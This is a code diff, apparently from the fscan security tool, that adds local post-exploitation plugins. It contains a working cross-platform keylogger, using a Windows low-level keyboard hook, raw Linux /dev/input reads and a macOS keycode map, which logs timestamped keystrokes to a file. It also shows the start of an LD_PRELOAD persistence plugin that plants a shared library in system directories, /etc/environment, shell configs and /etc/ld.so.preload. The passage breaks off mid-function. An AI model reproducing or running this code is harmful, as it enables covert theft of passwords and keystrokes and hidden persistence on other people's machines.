if keyChar != "" {
darwinKeylogger.addKeyToBuffer(keyChar)
}
}
}
// getDarwinKeyChar 获取macOS按键字符
func getDarwinKeyChar(keyCode int) string {
// macOS虚拟键码映射
keyMap := map[int]string{
0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v",
11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t",
18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7",
27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p",
36: "[Enter]",
37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n",
46: "m", 47: ".",
48: "[Tab]",
49: " ", // 空格
50: "`",
51: "[Delete]",
53: "[Esc]",
55: "[Cmd]",
56: "[Shift]",
57: "[CapsLock]",
58: "[Option]",
59: "[Ctrl]",
60: "[RShift]",
61: "[ROption]",
62: "[RCtrl]",
63: "[Fn]",
64: "[F17]",
65: "[KeypadDecimal]",
67: "[KeypadMultiply]",
69: "[KeypadPlus]",
71: "[KeypadClear]",
72: "[VolumeUp]",
73: "[VolumeDown]",
74: "[Mute]",
75: "[KeypadDivide]",
76: "[KeypadEnter]",
78: "[KeypadMinus]",
79: "[F18]",
80: "[F19]",
81: "[KeypadEquals]",
82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]",
86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]",
91: "[Keypad8]", 92: "[Keypad9]",
96: "[F5]",
97: "[F6]",
98: "[F7]",
99: "[F3]",
100: "[F8]",
101: "[F9]",
103: "[F11]",
105: "[F13]",
106: "[F16]",
107: "[F14]",
109: "[F10]",
111: "[F12]",
113: "[F15]",
114: "[Help]",
115: "[Home]",
116: "[PgUp]",
117: "[ForwardDelete]",
118: "[F4]",
119: "[End]",
120: "[F2]",
121: "[PgDn]",
122: "[F1]",
123: "[Left]",
124: "[Right]",
125: "[Down]",
126: "[Up]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkLinuxRequirements 检查Linux特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}

View File

@ -0,0 +1,282 @@
// +build linux
package keylogger
import (
"bufio"
"context"
"encoding/binary"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
)
// Linux输入事件结构
type InputEvent struct {
Time [2]int64 // struct timeval
Type uint16
Code uint16
Value int32
}
const (
EV_KEY = 1
KEY_PRESS = 1
KEY_RELEASE = 0
)
// checkLinuxRequirements 检查Linux特定要求
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
common.LogInfo("检查Linux键盘记录权限...")
// 检查/dev/input目录访问权限
if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
return fmt.Errorf("/dev/input目录不存在可能不是标准Linux系统")
}
// 检查是否有输入设备
inputDevices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(inputDevices) == 0 {
common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备")
} else {
common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
}
return nil
}
// startLinuxKeylogging 启动Linux键盘记录
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
common.LogInfo("启动Linux键盘记录...")
// 查找键盘设备
devices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(devices) == 0 {
// 如果找不到明确的键盘设备,尝试监听所有事件设备
devices, err = p.findAllInputDevices()
if err != nil {
return fmt.Errorf("查找输入设备失败: %v", err)
}
}
if len(devices) == 0 {
return fmt.Errorf("未找到任何输入设备")
}
common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
// 启动设备监听goroutine
for _, device := range devices {
go p.monitorDevice(ctx, device)
}
// 等待上下文取消
<-ctx.Done()
return nil
}
// findKeyboardDevices 查找键盘设备
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
var keyboards []string
// 检查/proc/bus/input/devices文件
devicesFile := "/proc/bus/input/devices"
file, err := os.Open(devicesFile)
if err != nil {
common.LogInfo("无法打开/proc/bus/input/devices尝试扫描/dev/input")
return p.findAllInputDevices()
}
defer file.Close()
scanner := bufio.NewScanner(file)
var currentDevice string
var isKeyboard bool
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "I:") {
// 新设备开始
isKeyboard = false
currentDevice = ""
} else if strings.HasPrefix(line, "N:") {
// 设备名称
if strings.Contains(strings.ToLower(line), "keyboard") ||
strings.Contains(strings.ToLower(line), "kbd") {
isKeyboard = true
}
} else if strings.HasPrefix(line, "H:") && isKeyboard {
// 设备处理器
parts := strings.Fields(line)
for _, part := range parts {
if strings.HasPrefix(part, "event") {
eventNum := strings.TrimPrefix(part, "event")
devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
keyboards = append(keyboards, devicePath)
break
}
}
}
}
return keyboards, nil
}
// findAllInputDevices 查找所有输入设备
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
var devices []string
err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil // 跳过错误
}
if strings.HasPrefix(d.Name(), "event") {
devices = append(devices, path)
}
return nil
})
if err != nil {
return nil, err
}
return devices, nil
}
// monitorDevice 监听设备
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
file, err := os.Open(devicePath)
if err != nil {
common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
return
}
defer file.Close()
for {
select {
case <-ctx.Done():
return
default:
var event InputEvent
err := binary.Read(file, binary.LittleEndian, &event)
if err != nil {
common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
return
}
// 处理键盘事件
if event.Type == EV_KEY && event.Value == KEY_PRESS {
keyChar := p.getLinuxKeyChar(event.Code)
if keyChar != "" {
p.addKeyToBuffer(keyChar)
}
}
}
}
}
// getLinuxKeyChar 获取Linux按键字符
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
// Linux内核输入子系统键码映射
keyMap := map[uint16]string{
1: "[Esc]",
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
12: "-", 13: "=",
14: "[Backspace]",
15: "[Tab]",
16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
26: "[", 27: "]",
28: "[Enter]",
29: "[LCtrl]",
30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
39: ";", 40: "'",
41: "`",
42: "[LShift]",
43: "\\",
44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
51: ",", 52: ".", 53: "/",
54: "[RShift]",
55: "*",
56: "[LAlt]",
57: " ", // 空格
58: "[CapsLock]",
59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
69: "[NumLock]",
70: "[ScrollLock]",
71: "[Home]",
72: "[Up]",
73: "[PgUp]",
74: "-",
75: "[Left]",
76: "[Center]",
77: "[Right]",
78: "+",
79: "[End]",
80: "[Down]",
81: "[PgDn]",
82: "[Insert]",
83: "[Delete]",
87: "[F11]", 88: "[F12]",
96: "[REnter]",
97: "[RCtrl]",
98: "/",
99: "[PrtSc]",
100: "[RAlt]",
102: "[Home]",
103: "[Up]",
104: "[PgUp]",
105: "[Left]",
106: "[Right]",
107: "[End]",
108: "[Down]",
109: "[PgDn]",
110: "[Insert]",
111: "[Delete]",
125: "[LWin]",
126: "[RWin]",
127: "[Menu]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkDarwinRequirements 检查Darwin特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}

View File

@ -0,0 +1,28 @@
// +build !windows,!linux,!darwin
package keylogger
import (
"context"
"fmt"
)
// checkLinuxRequirements 检查Linux特定要求其他平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkDarwinRequirements 检查Darwin特定要求其他平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录其他平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}

View File

@ -0,0 +1,337 @@
// +build windows
package keylogger
import (
"context"
"fmt"
"os"
"syscall"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
// Windows API 声明
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
)
const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
)
type (
DWORD uint32
WPARAM uintptr
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HHOOK HANDLE
HWND HANDLE
)
type POINT struct {
X, Y int32
}
type MSG struct {
HWND HWND
Message uint32
WParam WPARAM
LParam LPARAM
Time uint32
Pt POINT
}
type KBDLLHOOKSTRUCT struct {
VkCode DWORD
ScanCode DWORD
Flags DWORD
Time DWORD
DwExtraInfo uintptr
}
// 全局变量 - 简化版本
var (
windowsHook HHOOK
keylogger *KeyloggerPlugin
logFile *os.File
eventChannel chan KeyboardEvent
stopHookChan chan bool
)
// KeyboardEvent 键盘事件结构模仿gohook的设计
type KeyboardEvent struct {
Kind EventKind
Rawcode uint16
Keychar string
Timestamp time.Time
}
type EventKind int
const (
KeyDown EventKind = iota
KeyUp
)
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
common.LogInfo("启动Windows键盘记录 (高效版本)...")
keylogger = p
// 创建事件通道模仿gohook的设计
eventChannel = make(chan KeyboardEvent, 100)
stopHookChan = make(chan bool, 1)
// 打开日志文件进行实时写入
var err error
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
defer func() {
if logFile != nil {
logFile.Close()
logFile = nil
}
}()
// 写入文件头部
p.writeLogHeader()
// 启动Hook监听在独立goroutine中
go p.startKeyboardHook()
// 启动事件处理模仿你的for ev := range evChan的模式
return p.processEvents(ctx)
}
// startKeyboardHook 启动键盘Hook监听
func (p *KeyloggerPlugin) startKeyboardHook() {
// 安装Hook
hookProc := syscall.NewCallback(keyboardHookProc)
moduleHandle, _, _ := procGetModuleHandle.Call(0)
hook, _, _ := procSetWindowsHookEx.Call(
uintptr(WH_KEYBOARD_LL),
hookProc,
moduleHandle,
0,
)
if hook == 0 {
common.LogError("安装键盘Hook失败")
return
}
windowsHook = HHOOK(hook)
common.LogInfo("键盘Hook安装成功")
// 消息循环
msg := &MSG{}
for {
select {
case <-stopHookChan:
// 清理Hook
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
common.LogInfo("键盘Hook已清理")
return
default:
// 非阻塞消息处理
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
0, 0, 0,
)
if ret == 0 || ret == 0xFFFFFFFF {
break
}
}
}
}
// keyboardHookProc Hook回调函数 - 简化版本
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
// 立即调用下一个Hook确保系统响应
ret, _, _ := procCallNextHookEx.Call(
uintptr(windowsHook),
uintptr(nCode),
uintptr(wParam),
uintptr(lParam),
)
// 快速处理我们的逻辑
if nCode >= 0 && eventChannel != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
vkCode := kbdStruct.VkCode
keychar := quickKeyChar(vkCode)
if keychar != "" {
// 非阻塞发送事件
select {
case eventChannel <- KeyboardEvent{
Kind: KeyDown,
Rawcode: uint16(vkCode),
Keychar: keychar,
Timestamp: time.Now(),
}:
default:
// 通道满了就跳过,不阻塞系统
}
}
}
}
return LRESULT(ret)
}
// processEvents 处理键盘事件 - 完全模仿你的设计
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
common.LogInfo("开始处理键盘事件...")
// 完全模仿你的for ev := range evChan模式
for {
select {
case <-ctx.Done():
common.LogInfo("收到上下文取消信号,退出键盘记录")
stopHookChan <- true
return nil
case ev := <-eventChannel:
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown
if ev.Kind == KeyDown && ev.Keychar != "" {
// 写入文件 - 完全模仿你的实时写入模式
fmt.Fprintf(logFile, "[%s] %s\n",
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
logFile.Sync() // 模仿你的f.Sync()
// 添加到内存缓冲区用于统计
p.bufferMutex.Lock()
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
p.bufferMutex.Unlock()
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
}
}
}
}
// writeLogHeader 写入日志文件头部
func (p *KeyloggerPlugin) writeLogHeader() {
if logFile == nil {
return
}
// 模仿你的日志格式
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
fmt.Fprintf(logFile, "记录模式: 持续记录\n")
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
fmt.Fprintf(logFile, "================================\n\n")
logFile.Sync()
}
// quickKeyChar 快速键码转字符(简化版本)
func quickKeyChar(vkCode DWORD) string {
switch {
// 数字0-9
case vkCode >= 0x30 && vkCode <= 0x39:
return string(rune(vkCode))
// 字母A-Z (统一转小写)
case vkCode >= 0x41 && vkCode <= 0x5A:
return string(rune(vkCode + 32))
// 基本特殊字符
case vkCode == 0x20:
return " "
case vkCode == 0x0D:
return "[Enter]"
case vkCode == 0x08:
return "[Backspace]"
case vkCode == 0x09:
return "[Tab]"
case vkCode == 0x1B:
return "[Esc]"
case vkCode == 0x2E:
return "[Delete]"
// 方向键
case vkCode == 0x25:
return "[Left]"
case vkCode == 0x26:
return "[Up]"
case vkCode == 0x27:
return "[Right]"
case vkCode == 0x28:
return "[Down]"
// 特殊键 (包括左右Shift/Ctrl/Alt)
case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT
return "[Shift]"
case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL
return "[Ctrl]"
case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU
return "[Alt]"
// 基本标点符号
case vkCode == 0xBA: // ;
return ";"
case vkCode == 0xBB: // =
return "="
case vkCode == 0xBC: // ,
return ","
case vkCode == 0xBD: // -
return "-"
case vkCode == 0xBE: // .
return "."
case vkCode == 0xBF: // /
return "/"
// 功能键
case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12
return fmt.Sprintf("[F%d]", vkCode-0x6F)
default:
return "" // 跳过其他按键,保持高性能
}
}
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
common.LogInfo("检查Windows键盘记录权限...")
return nil
}
// 其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("Linux平台请使用专门的实现")
}
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("Darwin平台请使用专门的实现")
}
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}

View File

@ -0,0 +1,289 @@
package keylogger
import (
"context"
"fmt"
"os"
"runtime"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// KeyloggerPlugin 键盘记录插件 - 使用简化架构
type KeyloggerPlugin struct {
*local.BaseLocalPlugin
outputFile string
isRunning bool
stopChan chan struct{}
keyBuffer []string
bufferMutex sync.RWMutex
}
// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本
func NewKeyloggerPlugin() *KeyloggerPlugin {
// 从全局参数获取配置
outputFile := common.KeyloggerOutputFile
if outputFile == "" {
outputFile = "keylog.txt" // 默认输出文件
}
metadata := &base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"local", "keylogger", "monitoring", "cross-platform"},
Protocols: []string{"local"},
}
plugin := &KeyloggerPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
outputFile: outputFile,
stopChan: make(chan struct{}),
keyBuffer: make([]string, 0),
}
// 支持所有主要平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 需要管理员权限访问键盘输入
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *KeyloggerPlugin) Initialize() error {
common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS))
// 检查输出文件路径权限
if err := p.checkOutputFilePermissions(); err != nil {
return fmt.Errorf("输出文件权限检查失败: %v", err)
}
// 检查平台特定的权限和依赖
if err := p.checkPlatformRequirements(); err != nil {
return fmt.Errorf("平台要求检查失败: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行键盘记录 - 简化版本
func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始键盘记录...")
// 启动键盘记录
err := p.startKeylogging(ctx)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "Keylogger",
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS),
Extra: map[string]interface{}{
"output_file": p.outputFile,
"platform": runtime.GOOS,
"keys_captured": len(p.keyBuffer),
},
}
return result, nil
}
// startKeylogging 启动键盘记录
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
p.isRunning = true
defer func() {
p.isRunning = false
}()
common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile))
// 根据平台启动相应的键盘记录
var err error
switch runtime.GOOS {
case "windows":
err = p.startWindowsKeylogging(ctx)
case "linux":
err = p.startLinuxKeylogging(ctx)
case "darwin":
err = p.startDarwinKeylogging(ctx)
default:
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
if err != nil {
return fmt.Errorf("键盘记录失败: %v", err)
}
// Windows平台已经实时写入文件其他平台保存到文件
if runtime.GOOS != "windows" {
if err := p.saveKeysToFile(); err != nil {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
}
} else {
common.LogInfo("Windows平台已实时写入文件无需再次保存")
}
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
return nil
}
// checkOutputFilePermissions 检查输出文件权限
func (p *KeyloggerPlugin) checkOutputFilePermissions() error {
// 尝试创建或打开输出文件
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
file.Close()
return nil
}
// checkPlatformRequirements 检查平台特定要求
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
switch runtime.GOOS {
case "windows":
return p.checkWindowsRequirements()
case "linux":
return p.checkLinuxRequirements()
case "darwin":
return p.checkDarwinRequirements()
default:
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
}
// addKeyToBuffer 添加按键到缓冲区
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
p.bufferMutex.Lock()
defer p.bufferMutex.Unlock()
timestamp := time.Now().Format("2006-01-02 15:04:05")
entry := fmt.Sprintf("[%s] %s", timestamp, key)
p.keyBuffer = append(p.keyBuffer, entry)
}
// saveKeysToFile 保存键盘记录到文件
func (p *KeyloggerPlugin) saveKeysToFile() error {
p.bufferMutex.RLock()
defer p.bufferMutex.RUnlock()
if len(p.keyBuffer) == 0 {
common.LogInfo("没有捕获到键盘输入")
return nil
}
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法打开输出文件: %v", err)
}
defer file.Close()
// 写入头部信息
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
header += fmt.Sprintf("========================\n\n")
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("写入头部信息失败: %v", err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("写入键盘记录失败: %v", err)
}
}
return nil
}
// GetLocalData 获取键盘记录本地数据
func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "keylogger"
data["platform"] = runtime.GOOS
data["output_file"] = p.outputFile
data["keys_captured"] = len(p.keyBuffer)
data["is_running"] = p.isRunning
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile),
Data: data,
Extra: map[string]interface{}{
"output_file": p.outputFile,
"keys_captured": len(p.keyBuffer),
"platform": runtime.GOOS,
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *KeyloggerPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("跨平台键盘记录插件\n")
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
info.WriteString("记录模式: 持续记录直到程序结束\n")
info.WriteString("支持平台: Windows, Linux, macOS\n")
info.WriteString("功能: 捕获和记录键盘输入事件\n")
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
return info.String()
}
// RegisterKeyloggerPlugin 注册键盘记录插件
func RegisterKeyloggerPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"keylogger", "local", "monitoring", "cross-platform"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewKeyloggerPlugin()
},
)
base.GlobalPluginRegistry.Register("keylogger", factory)
}
// init 插件注册函数
func init() {
RegisterKeyloggerPlugin()
}

View File

@ -0,0 +1,388 @@
package ldpreload
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// LDPreloadPlugin LD_PRELOAD持久化插件 - 使用简化架构
type LDPreloadPlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 - 简化版本
func NewLDPreloadPlugin() *LDPreloadPlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "ldpreload",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux LD_PRELOAD持久化插件通过动态库预加载实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "ldpreload"},
Protocols: []string{"local"},
}
plugin := &LDPreloadPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要写入系统配置文件的权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *LDPreloadPlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查文件类型
if !p.isValidFile(p.targetFile) {
return fmt.Errorf("目标文件必须是 .so 动态库文件: %s", p.targetFile)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行LD_PRELOAD持久化 - 简化版本
func (p *LDPreloadPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("LD_PRELOAD持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始LD_PRELOAD持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到系统目录
systemPath, err := p.copyToSystemPath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件到系统目录失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", systemPath))
}
// 2. 添加到全局环境变量
err = p.addToEnvironment(systemPath)
if err != nil {
common.LogError(fmt.Sprintf("添加环境变量失败: %v", err))
} else {
results = append(results, "已添加到 /etc/environment")
common.LogSuccess("已添加到全局环境变量")
}
// 3. 添加到shell配置文件
shellConfigs, err := p.addToShellConfigs(systemPath)
if err != nil {
common.LogError(fmt.Sprintf("添加到shell配置失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", ")))
common.LogSuccess("已添加到shell配置文件")
}
// 4. 创建库配置文件
err = p.createLdConfig(systemPath)
if err != nil {
common.LogError(fmt.Sprintf("创建ld配置失败: %v", err))
} else {
results = append(results, "已创建 /etc/ld.so.preload 配置")
common.LogSuccess("已创建ld预加载配置")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "LDPreloadPersistence",
Banner: fmt.Sprintf("LD_PRELOAD持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToSystemPath 复制文件到系统目录
func (p *LDPreloadPlugin) copyToSystemPath() (string, error) {
// 选择合适的系统目录
systemDirs := []string{
"/usr/lib/x86_64-linux-gnu",
"/usr/lib64",
"/usr/lib",
"/lib/x86_64-linux-gnu",
"/lib64",
"/lib",
}
var targetDir string
